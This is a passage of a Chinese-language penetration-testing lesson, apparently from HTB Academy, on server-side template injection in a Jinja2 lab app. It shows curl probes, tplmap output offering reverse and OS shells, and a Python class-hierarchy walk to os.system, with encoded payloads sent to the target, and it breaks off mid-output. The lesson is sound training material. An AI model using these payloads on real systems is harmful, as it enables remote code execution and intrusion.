<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="/static/css/jquery-ui.css">
<script src="/static/js/jquery-1.12.4.js"></script>
<script src="/static/js/jquery-ui.js"></script>
<script src="/static/js/script.js"></script>
<link rel="stylesheet" type="text/css" href="/static/css/style.css" />
<title>Windows</title>
</head>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>{7*7}</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<div class="window" data-title="Windows">
<h1>Windows</h1>
<p>Minimize the windows to the taskbar, make them full screen or close them.</p>
<p>Drag the title bar to move the windows or resize them from the bottom right corner.</p>
</div>

<div id="taskbar">
</div>

<div id="icons">
<a class="openWindow" data-id="0">Run</a>
<a class="openWindow" data-id="1">Welcome</a>
</div>
<font size="5px"><a href="https://html5-templates.com/" rel="nofollow" target="_blank" id="templateLink">&copy; HTML5-Templates.com</a></font>
<!-- You can use this template freely if you leave a visible link to HTML5-Templates.com -->
</div>
</body>

看起来应用程序没有评估提交的表达式。让我们继续另一个表达式,这次是${7*7}

mikannse7@htb[/htb]$ curl -gs 'http://<TARGET IP>:<PORT>/execute?cmd=${7*7}'

<!DOCTYPE html>
<html lang="en">
<style type="text/css">
#command {
resize: horizontal;
background-color : transparent;
border-color: transparent;
font-size: 15px;
width: 200px;

}
#command:active {
width: auto;
}
</style>
<head>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="/static/css/jquery-ui.css">
<script src="/static/js/jquery-1.12.4.js"></script>
<script src="/static/js/jquery-ui.js"></script>
<script src="/static/js/script.js"></script>
<link rel="stylesheet" type="text/css" href="/static/css/style.css" />
<title>Windows</title>
</head>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>${7*7}</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<div class="window" data-title="Windows">
<h1>Windows</h1>
<p>Minimize the windows to the taskbar, make them full screen or close them.</p>
<p>Drag the title bar to move the windows or resize them from the bottom right corner.</p>
</div>

<div id="taskbar">
</div>

<div id="icons">
<a class="openWindow" data-id="0">Run</a>
<a class="openWindow" data-id="1">Welcome</a>
</div>
<font size="5px"><a href="https://html5-templates.com/" rel="nofollow" target="_blank" id="templateLink">&copy; HTML5-Templates.com</a></font>
<!-- You can use this template freely if you leave a visible link to HTML5-Templates.com -->
</div>
</body>

看起来应用程序也没有计算这个表达式。{{7*7}}怎么样?

mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd={{7*7}}"

<!DOCTYPE html>
<html lang="en">
<style type="text/css">
#command {
resize: horizontal;
background-color : transparent;
border-color: transparent;
font-size: 15px;
width: 200px;

}
#command:active {
width: auto;
}
</style>
<head>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="/static/css/jquery-ui.css">
<script src="/static/js/jquery-1.12.4.js"></script>
<script src="/static/js/jquery-ui.js"></script>
<script src="/static/js/script.js"></script>
<link rel="stylesheet" type="text/css" href="/static/css/style.css" />
<title>Windows</title>
</head>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>49</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<div class="window" data-title="Windows">
<h1>Windows</h1>
<p>Minimize the windows to the taskbar, make them full screen or close them.</p>
<p>Drag the title bar to move the windows or resize them from the bottom right corner.</p>
</div>

<div id="taskbar">
</div>

<div id="icons">
<a class="openWindow" data-id="0">Run</a>
<a class="openWindow" data-id="1">Welcome</a>
</div>
<font size="5px"><a href="https://html5-templates.com/" rel="nofollow" target="_blank" id="templateLink">&copy; HTML5-Templates.com</a></font>
<!-- You can use this template freely if you leave a visible link to HTML5-Templates.com -->
</div>
</body>

幸运的是,这一次,应用程序评估了我们提交的最新数学表达式,并返回了结果49。看起来我们可能正在处理一个SSTI漏洞!

如前所述,在处理SSTI漏洞时,我们需要做的第一件事是识别应用程序正在使用的模板引擎。让我们再次在SSTI Identification中使用PortSwigger的图表。我们已经知道{{7*7}}表达式被成功地求值了。图中建议尝试的下一个表达式是{{7*'7'}}。让我们尝试一下,看看应用程序如何响应。

mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd={{7*'7'}}"

<!DOCTYPE html>
<html lang="en">
<style type="text/css">
#command {
resize: horizontal;
background-color : transparent;
border-color: transparent;
font-size: 15px;
width: 200px;

}
#command:active {
width: auto;
}
</style>
<head>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="/static/css/jquery-ui.css">
<script src="/static/js/jquery-1.12.4.js"></script>
<script src="/static/js/jquery-ui.js"></script>
<script src="/static/js/script.js"></script>
<link rel="stylesheet" type="text/css" href="/static/css/style.css" />
<title>Windows</title>
</head>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>7777777</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<div class="window" data-title="Windows">
<h1>Windows</h1>
<p>Minimize the windows to the taskbar, make them full screen or close them.</p>
<p>Drag the title bar to move the windows or resize them from the bottom right corner.</p>
</div>

<div id="taskbar">
</div>

<div id="icons">
<a class="openWindow" data-id="0">Run</a>
<a class="openWindow" data-id="1">Welcome</a>
</div>
<font size="5px"><a href="https://html5-templates.com/" rel="nofollow" target="_blank" id="templateLink">&copy; HTML5-Templates.com</a></font>
<!-- You can use this template freely if you leave a visible link to HTML5-Templates.com -->
</div>
</body>

应用程序也成功地计算了此表达式。根据PortSwigger的图表,我们正在处理Jinja 2或Twig模板引擎。也就是说,这意味着Jinja 2正在后端使用。

我们可以自动化我们刚刚通过tplmap执行的模板引擎识别过程,如下所示。

tplmap.py

mikannse7@htb[/htb]$ ./tplmap.py -u 'http://<TARGET IP>:<PORT>/execute?cmd'

Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'cmd' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

GET parameter: cmd
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:

Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:

--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files

下一步是在目标服务器上获得远程代码执行。在进入有效负载开发部分之前,让我们来看看SSTI的一些Python。

Python Primer for SSTI

下面是一个来自fatalerrors.org的小字典,在浏览本节的Jinja 2有效负载开发部分时可以参考:

No. Methods Description
1. __class__ 返回类型所属的对象(类)
2. __mro__ 返回一个元组,该元组包含由对象继承的基类。方法按元组的顺序进行解析。
3. __subclasses__ __class__ 每个新类都保留对子类的引用,此方法返回类中仍然可用的引用列表
4. __builtins__ 返回函数中包含的内置方法
5. __globals__ 对包含函数全局变量的字典的引用
6. __base__ 返回对象继承的基类<–(__ base__和__ mro__用于查找基类)
7. __init__ __class__ 类初始化方法

首先在Pwnbox或本地VM的终端上运行Python,然后沿着做。

Python 3 Interpreter

mikannse7@htb[/htb]$ python3

Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>

创建一个字符串对象并使用type__class__,如下所示。然后使用dir()命令显示对象的所有方法和属性。

Code:

>>> import flask
>>> s = 'HTB'
>>> type(s)

<class 'str'>


>>> s.__class__

<class 'str'>


>>> dir(s)

['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

下一步是理解Python的层次结构。使用__mro__mro(),我们可以在Python环境中返回继承对象的树。让我们按如下方式练习。

Code: s._class

>>> s.__class__.__class__

<class 'type'>


>>> s.__class__.__base__

<class 'object'>


>>> s.__class__.__base__.__subclasses__()

[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>,
<SNIP>


>>> s.__class__.mro()[1].__subclasses__()

[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>,
<SNIP>

现在,让我们寻找一些可以促进远程代码执行的有用类。

Code:

>>> x = s.__class__.mro()[1].__subclasses__()
>>> for i in range(len(x)):print(i, x[i].__name__)
...
0 type
1 weakref
2 weakcallableproxy
3 weakproxy
4 int
5 bytearray
6 bytes
7 list
8 NoneType
<SNIP>

>>> def searchfunc(name):
... x = s.__class__.mro()[1].__subclasses__()
... for i in range(len(x)):
... fn = x[i].__name__
... if fn.find(name) > -1:
... print(i, fn)
...
>>> searchfunc('warning')

215 catch_warnings

你可能会问,为什么要搜索warning。我们选择这个类是因为它导入了Python的sys模块,从sys可以到达os模块。更准确地说,os模块都来自warnings.catch_

请注意,您可能会遇到不同的号码。回到我们的Python for SSTI细节,我们已经看到catch_warnings存在,而没有将任何额外的模块导入到我们的Python控制台。让我们枚举这个类的内置程序,如下所示。

Code:

>>> y = x[215]
>>> y

<class 'warnings.catch_warnings'>


>>> y()._module.__builtins__

{'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>,
<SNIP>


>>> z = y()._module.__builtins__
>>> for i in z:
... if i.find('import') >-1:
... print(i, z[i])
...
__import__ <built-in function __import__>

看起来我们已经通过遍历层次结构到达了导入功能。这意味着我们可以加载os并使用system函数来执行所有来自字符串对象的代码,如下所示。

Code:

>>> ''.__class__.__mro__[1].__subclasses__()

[215]()._module.__builtins__['__import__']('os').system('echo RCE from a string object')
RCE from a string object
0

回到我们易受攻击的Web应用程序,让我们看看如何重复相同的过程并开发RCE有效负载。请记住,下面的有效载荷可以通过浏览器提交给应用程序,也可以通过URL编码后的cURL提交给应用程序。

Payload:

Code:

{{ ''.__class__ }}

Curl - Interacting with the Target

mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%20%27%27.__class__%20%7D%7D"

<SNIP>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>&lt;class &#39;str&#39;&gt;</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<SNIP>
</body>

Payload

Code:

{{ ''.__class__.__mro__ }}

Curl - Interacting with the Target

mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%20%27%27.__class__.__mro__%20%7D%7D"

<SNIP>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>(&lt;class &#39;str&#39;&gt;, &lt;class &#39;object&#39;&gt;)</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<SNIP>
</body>

我们对第二个项目感兴趣,因此有效载荷应变为:

Code:

{{ ''.__class__.__mro__[1] }}      
mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%20%27%27.__class__.__mro__%20%7D%7D"

<SNIP>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>&lt;class &#39;object&#39;&gt;</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<SNIP>
</body>

让我们开始沿着层次结构往下走,如下所示。

Code:

{{ ''.__class__.__mro__[1].__subclasses__() }}        
mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%20%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%20%7D%7D"

<SNIP>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>[&lt;class &#39;type&#39;&gt;, &lt;class &#39;weakref&#39;&gt;, &lt;class &#39;weakcallableproxy&#39;&gt;, &lt;class &#39;weakproxy&#39;&gt;, &lt;class &#39;int&#39;&gt;, &lt;class &#39;bytearray&#39;&gt;, &lt;class &#39;bytes&#39;&gt;, &lt;class &#39;list&#39;&gt;, &lt;class &#39;NoneType&#39;&gt;, &lt;class &#39;NotImplementedType&#39;&gt;, &lt;class &#39;traceback&#39;&gt;, &lt;class &#39;super&#39;&gt;, &lt;class &#39;range&#39;&gt;, &lt;class &#39;dict&#39;&gt;, &lt;class &#39;dict_keys&#39;&gt;, &lt;class &#39;dict_values&#39;&gt;, &lt;class &#39;dict_items&#39;&gt;, &lt;class &#39;dict_reversekeyiterator&#39;&gt;, &lt;class &#39;dict_reversevalueiterator&#39;&gt;, &lt;class &#39;dict_reverseitemiterator&#39;&gt;, &lt;class &#39;odict_iterator&#39;&gt;, &lt;class &#39;set&#39;&gt;, &lt;class &#39;str&#39;&gt;, &lt;class &#39;slice&#39;&gt;, &lt;class &#39;staticmethod&#39;&gt;, &lt;class &#39;complex&#39;&gt;, &lt;class &#39;float&#39;&gt;, &lt;class &#39;frozenset&#39;&gt;, &lt;class &#39;property&#39;&gt;, &lt;class &#39;managedbuffer&#39;&gt;, &lt;class &#39;memoryview&#39;&gt;, &lt;class &#39;tuple&#39;&gt;, &lt;class &#39;enumerate&#39;&gt;, &lt;class &#39;reversed&#39;&gt;, &lt;class &#39;stderrprinter&#39;&gt;, &lt;class &#39;code&#39;&gt;, &lt;class &#39;frame&#39;&gt;, &lt;class &#39;builtin_function_or_method&#39;&gt;, &lt;class &#39;method&#39;&gt;, &lt;class &#39;function&#39;&gt;, &lt;class &#39;mappingproxy&#39;&gt;, &lt;class &#39;generator&#39;&gt;, &lt;class &#39;getset_descriptor&#39;&gt;, &lt;class &#39;wrapper_descriptor&#39;&gt;, &lt;class &#39;method-wrapper&#39;&gt;, &lt;class &#39;ellipsis&#39;&gt;, &lt;class &#39;member_descriptor&#39;&gt;, &lt;class &#39;types.SimpleNamespace&#39;&gt;, &lt;class &#39;PyCapsule&#39;&gt;, &lt;class &#39;longrange_iterator&#39;&gt;, &lt;class &#39;cell&#39;&gt;, &lt;class &#39;instancemethod&#39;&gt;, &lt;class &#39;classmethod_descriptor&#39;&gt;, &lt;class &#39;method_descriptor&#39;&gt;, &lt;class &#39;callable_iterator&#39;&gt;, &lt;class &#39;iterator&#39;&gt;, &lt;class &#39;pickle.PickleBuffer&#39;&gt;, &lt;class &#39;coroutine&#39;&gt;, &lt;class &#39;coroutine_wrapper&#39;&gt;, &lt;class &#39;InterpreterID&#39;&gt;, &lt;class &#39;EncodingMap&#39;&gt;, &lt;class &#39;fieldnameiterator&#39;&gt;, &lt;class &#39;formatteriterator&#39;&gt;, &lt;class &#39;BaseException&#39;&gt;, &lt;class &#39;hamt&#39;&gt;, &lt;class &#39;hamt_array_node&#39;&gt;, &lt;class &#39;hamt_bitmap_node&#39;&gt;, &lt;class &#39;hamt_collision_node&#39;&gt;, &lt;class &#39;keys&#39;&gt;, &lt;class &#39;values&#39;&gt;, &lt;class &#39;items&#39;&gt;, &lt;class &#39;Context&#39;&gt;, &lt;class &#39;ContextVar&#39;&gt;, &lt;class &#39;Token&#39;&gt;, &lt;class &#39;Token.MISSING&#39;&gt;, &lt;class &#39;moduledef&#39;&gt;, &lt;class &#39;module&#39;&gt;, &lt;class &#39;filter&#39;&gt;, &lt;class &#39;map&#39;&gt;, &lt;class &#39;zip&#39;&gt;, &lt;class &#39;_frozen_importlib._ModuleLock&#39;&gt;, &lt;class &#39;_frozen_importlib._DummyModuleLock&#39;&gt;, &lt;class &#39;_frozen_importlib._ModuleLockManager&#39;&gt;, &lt;class &#39;_frozen_importlib.ModuleSpec&#39;&gt;, &lt;class &#39;_frozen_importlib.BuiltinImporter&#39;&gt;, &lt;class &#39;classmethod&#39;&gt;, &lt;class &#39;_frozen_importlib.FrozenImporter&#39;&gt;, &lt;class &#39;_frozen_importlib._ImportLockContext&#39;&gt;, &lt;class &#39;_thread._localdummy&#39;&gt;, &lt;class &#39;_thread._local&#39;&gt;, &lt;class &#39;_thread.lock&#39;&gt;, &lt;class &#39;_thread.RLock&#39;&gt;, &lt;class &#39;_io._IOBase&#39;&gt;, &lt;class &#39;_io._BytesIOBuffer&#39;&gt;, &lt;class &#39;_io.IncrementalNewlineDecoder&#39;&gt;, &lt;class &#39;posix.ScandirIterator&#39;&gt;, &lt;class &#39;posix.DirEntry&#39;&gt;, &lt;class &#39;_frozen_importlib_external.WindowsRegistryFinder&#39;&gt;, &lt;class &#39;_frozen_importlib_external._LoaderBasics&#39;&gt;, &lt;class &#39;_frozen_importlib_external.FileLoader&#39;&gt;, &lt;class &#39;_frozen_importlib_external._NamespacePath&#39;&gt;, &lt;class &#39;_frozen_importlib_external._NamespaceLoader&#39;&gt;, &lt;class &#39;_frozen_importlib_external.PathFinder&#39;&gt;, &lt;class &#39;_frozen_importlib_external.FileFinder&#39;&gt;, &lt;class &#39;zipimport.zipimporter&#39;&gt;, &lt;class &#39;zipimport._ZipImportResourceReader&#39;&gt;, &lt;class &#39;codecs.Codec&#39;&gt;, &lt;class &#39;codecs.IncrementalEncoder&#39;&gt;, &lt;class &#39;codecs.IncrementalDecoder&#39;&gt;, &lt;class &#39;codecs.StreamReaderWriter&#39;&gt;, &lt;class &#39;codecs.StreamRecoder&#39;&gt;, &lt;class &#39;_abc_data&#39;&gt;, &lt;class &#39;abc.ABC&#39;&gt;, &lt;class &#39;dict_itemiterator&#39;&gt;, &lt;class &#39;collections.abc.Hashable&#39;&gt;, &lt;class &#39;collections.abc.Awaitable&#39;&gt;, &lt;class &#39;collections.abc.AsyncIterable&#39;&gt;, &lt;class &#39;async_generator&#39;&gt;, &lt;class &#39;collections.abc.Iterable&#39;&gt;, &lt;class &#39;bytes_iterator&#39;&gt;, &lt;class &#39;bytearray_iterator&#39;&gt;, &lt;class &#39;dict_keyiterator&#39;&gt;, &lt;class &#39;dict_valueiterator&#39;&gt;, &lt;class &#39;list_iterator&#39;&gt;, &lt;class &#39;list_reverseiterator&#39;&gt;, &lt;class &#39;range_iterator&#39;&gt;, &lt;class &#39;set_iterator&#39;&gt;, &lt;class &#39;str_iterator&#39;&gt;, &lt;class &#39;tuple_iterator&#39;&gt;, &lt;class &#39;collections.abc.Sized&#39;&gt;, &lt;class &#39;collections.abc.Container&#39;&gt;, &lt;class &#39;collections.abc.Callable&#39;&gt;, &lt;class &#39;os._wrap_close&#39;&gt;, &lt;class &#39;_sitebuiltins.Quitter&#39;&gt;, &lt;class &#39;_sitebuiltins._Printer&#39;&gt;, &lt;class &#39;_sitebuiltins._Helper&#39;&gt;, &lt;class &#39;operator.itemgetter&#39;&gt;, &lt;class &#39;operator.attrgetter&#39;&gt;, &lt;class &#39;operator.methodcaller&#39;&gt;, &lt;class &#39;itertools.accumulate&#39;&gt;, &lt;class &#39;itertools.combinations&#39;&gt;, &lt;class &#39;itertools.combinations_with_replacement&#39;&gt;, &lt;class &#39;itertools.cycle&#39;&gt;, &lt;class &#39;itertools.dropwhile&#39;&gt;, &lt;class &#39;itertools.takewhile&#39;&gt;, &lt;class &#39;itertools.islice&#39;&gt;, &lt;class &#39;itertools.starmap&#39;&gt;, &lt;class &#39;itertools.chain&#39;&gt;, &lt;class &#39;itertools.compress&#39;&gt;, &lt;class &#39;itertools.filterfalse&#39;&gt;, &lt;class &#39;itertools.count&#39;&gt;, &lt;class &#39;itertools.zip_longest&#39;&gt;, &lt;class &#39;itertools.permutations&#39;&gt;, &lt;class &#39;itertools.product&#39;&gt;, &lt;class &#39;itertools.repeat&#39;&gt;, &lt;class &#39;itertools.groupby&#39;&gt;, &lt;class &#39;itertools._grouper&#39;&gt;, &lt;class &#39;itertools._tee&#39;&gt;, &lt;class &#39;itertools._tee_dataobject&#39;&gt;, &lt;class &#39;reprlib.Repr&#39;&gt;, &lt;class &#39;collections.deque&#39;&gt;, &lt;class &#39;_collections._deque_iterator&#39;&gt;, &lt;class &#39;_collections._deque_reverse_iterator&#39;&gt;, &lt;class &#39;_collections._tuplegetter&#39;&gt;, &lt;class &#39;collections._Link&#39;&gt;, &lt;class &#39;functools.partial&#39;&gt;, &lt;class &#39;functools._lru_cache_wrapper&#39;&gt;, &lt;class &#39;functools.partialmethod&#39;&gt;, &lt;class &#39;functools.singledispatchmethod&#39;&gt;, &lt;class &#39;functools.cached_property&#39;&gt;, &lt;class &#39;types.DynamicClassAttribute&#39;&gt;, &lt;class &#39;types._GeneratorWrapper&#39;&gt;, &lt;class &#39;enum.auto&#39;&gt;, &lt;enum &#39;Enum&#39;&gt;, &lt;class &#39;re.Pattern&#39;&gt;, &lt;class &#39;re.Match&#39;&gt;, &lt;class &#39;_sre.SRE_Scanner&#39;&gt;, &lt;class &#39;sre_parse.State&#39;&gt;, &lt;class &#39;sre_parse.SubPattern&#39;&gt;, &lt;class &#39;sre_parse.Tokenizer&#39;&gt;, &lt;class &#39;re.Scanner&#39;&gt;, &lt;class &#39;string.Template&#39;&gt;, &lt;class &#39;string.Formatter&#39;&gt;, &lt;class &#39;contextlib.ContextDecorator&#39;&gt;, &lt;class &#39;contextlib._GeneratorContextManagerBase&#39;&gt;, &lt;class &#39;contextlib._BaseExitStack&#39;&gt;, &lt;class &#39;typing._Final&#39;&gt;, &lt;class &#39;typing._Immutable&#39;&gt;, &lt;class &#39;typing.Generic&#39;&gt;, &lt;class &#39;typing._TypingEmpty&#39;&gt;, &lt;class &#39;typing._TypingEllipsis&#39;&gt;, &lt;class &#39;typing.NamedTuple&#39;&gt;, &lt;class &#39;typing.io&#39;&gt;, &lt;class &#39;typing.re&#39;&gt;, &lt;class &#39;_ast.AST&#39;&gt;, &lt;class &#39;markupsafe._MarkupEscapeHelper&#39;&gt;, &lt;class &#39;select.poll&#39;&gt;, &lt;class &#39;select.epoll&#39;&gt;, &lt;class &#39;selectors.BaseSelector&#39;&gt;, &lt;class &#39;_socket.socket&#39;&gt;, &lt;class &#39;_weakrefset._IterationGuard&#39;&gt;, &lt;class &#39;_weakrefset.WeakSet&#39;&gt;, &lt;class &#39;threading._RLock&#39;&gt;, &lt;class &#39;threading.Condition&#39;&gt;, &lt;class &#39;threading.Semaphore&#39;&gt;, &lt;class &#39;threading.Event&#39;&gt;, &lt;class &#39;threading.Barrier&#39;&gt;, &lt;class &#39;threading.Thread&#39;&gt;, &lt;class &#39;socketserver.BaseServer&#39;&gt;, &lt;class &#39;socketserver.ForkingMixIn&#39;&gt;, &lt;class &#39;socketserver._NoThreads&#39;&gt;, &lt;class &#39;socketserver.ThreadingMixIn&#39;&gt;, &lt;class &#39;socketserver.BaseRequestHandler&#39;&gt;, &lt;class &#39;warnings.WarningMessage&#39;&gt;, &lt;class &#39;warnings.catch_warnings&#39;&gt;, &lt;class &#39;datetime.date&#39;&gt;, &lt;class &#39;datetime.timedelta&#39;&gt;, &lt;class &#39;datetime.time&#39;&gt;, &lt;class &#39;datetime.tzinfo&#39;&gt;, &lt;class &#39;weakref.finalize._Info&#39;&gt;, &lt;class &#39;weakref.finalize&#39;&gt;, &lt;class &#39;_sha512.sha384&#39;&gt;, &lt;class &#39;_sha512.sha512&#39;&gt;, &lt;class &#39;_random.Random&#39;&gt;, &lt;class &#39;urllib.parse._ResultMixinStr&#39;&gt;, &lt;class &#39;urllib.parse._ResultMixinBytes&#39;&gt;, &lt;class &#39;urllib.parse._NetlocResultMixinBase&#39;&gt;, &lt;class &#39;calendar._localized_month&#39;&gt;, &lt;class &#39;calendar._localized_day&#39;&gt;, &lt;class &#39;calendar.Calendar&#39;&gt;, &lt;class &#39;calendar.different_locale&#39;&gt;, &lt;class &#39;email._parseaddr.AddrlistClass&#39;&gt;, &lt;class &#39;Struct&#39;&gt;, &lt;class &#39;unpack_iterator&#39;&gt;, &lt;class &#39;email.charset.Charset&#39;&gt;, &lt;class &#39;email.header.Header&#39;&gt;, &lt;class &#39;email.header._ValueFormatter&#39;&gt;, &lt;class &#39;email._policybase._PolicyBase&#39;&gt;, &lt;class &#39;email.feedparser.BufferedSubFile&#39;&gt;, &lt;class &#39;email.feedparser.FeedParser&#39;&gt;, &lt;class &#39;email.parser.Parser&#39;&gt;, &lt;class &#39;email.parser.BytesParser&#39;&gt;, &lt;class &#39;email.message.Message&#39;&gt;, &lt;class &#39;http.client.HTTPConnection&#39;&gt;, &lt;class &#39;_ssl._SSLContext&#39;&gt;, &lt;class &#39;_ssl._SSLSocket&#39;&gt;, &lt;class &#39;_ssl.MemoryBIO&#39;&gt;, &lt;class &#39;_ssl.Session&#39;&gt;, &lt;class &#39;ssl.SSLObject&#39;&gt;, &lt;class &#39;mimetypes.MimeTypes&#39;&gt;, &lt;class &#39;zlib.Compress&#39;&gt;, &lt;class &#39;zlib.Decompress&#39;&gt;, &lt;class &#39;_bz2.BZ2Compressor&#39;&gt;, &lt;class &#39;_bz2.BZ2Decompressor&#39;&gt;, &lt;class &#39;_lzma.LZMACompressor&#39;&gt;, &lt;class &#39;_lzma.LZMADecompressor&#39;&gt;, &lt;class &#39;dis.Bytecode&#39;&gt;, &lt;class &#39;tokenize.Untokenizer&#39;&gt;, &lt;class &#39;inspect.BlockFinder&#39;&gt;, &lt;class &#39;inspect._void&#39;&gt;, &lt;class &#39;inspect._empty&#39;&gt;, &lt;class &#39;inspect.Parameter&#39;&gt;, &lt;class &#39;inspect.BoundArguments&#39;&gt;, &lt;class &#39;inspect.Signature&#39;&gt;, &lt;class &#39;traceback.FrameSummary&#39;&gt;, &lt;class &#39;traceback.TracebackException&#39;&gt;, &lt;class &#39;logging.LogRecord&#39;&gt;, &lt;class &#39;logging.PercentStyle&#39;&gt;, &lt;class 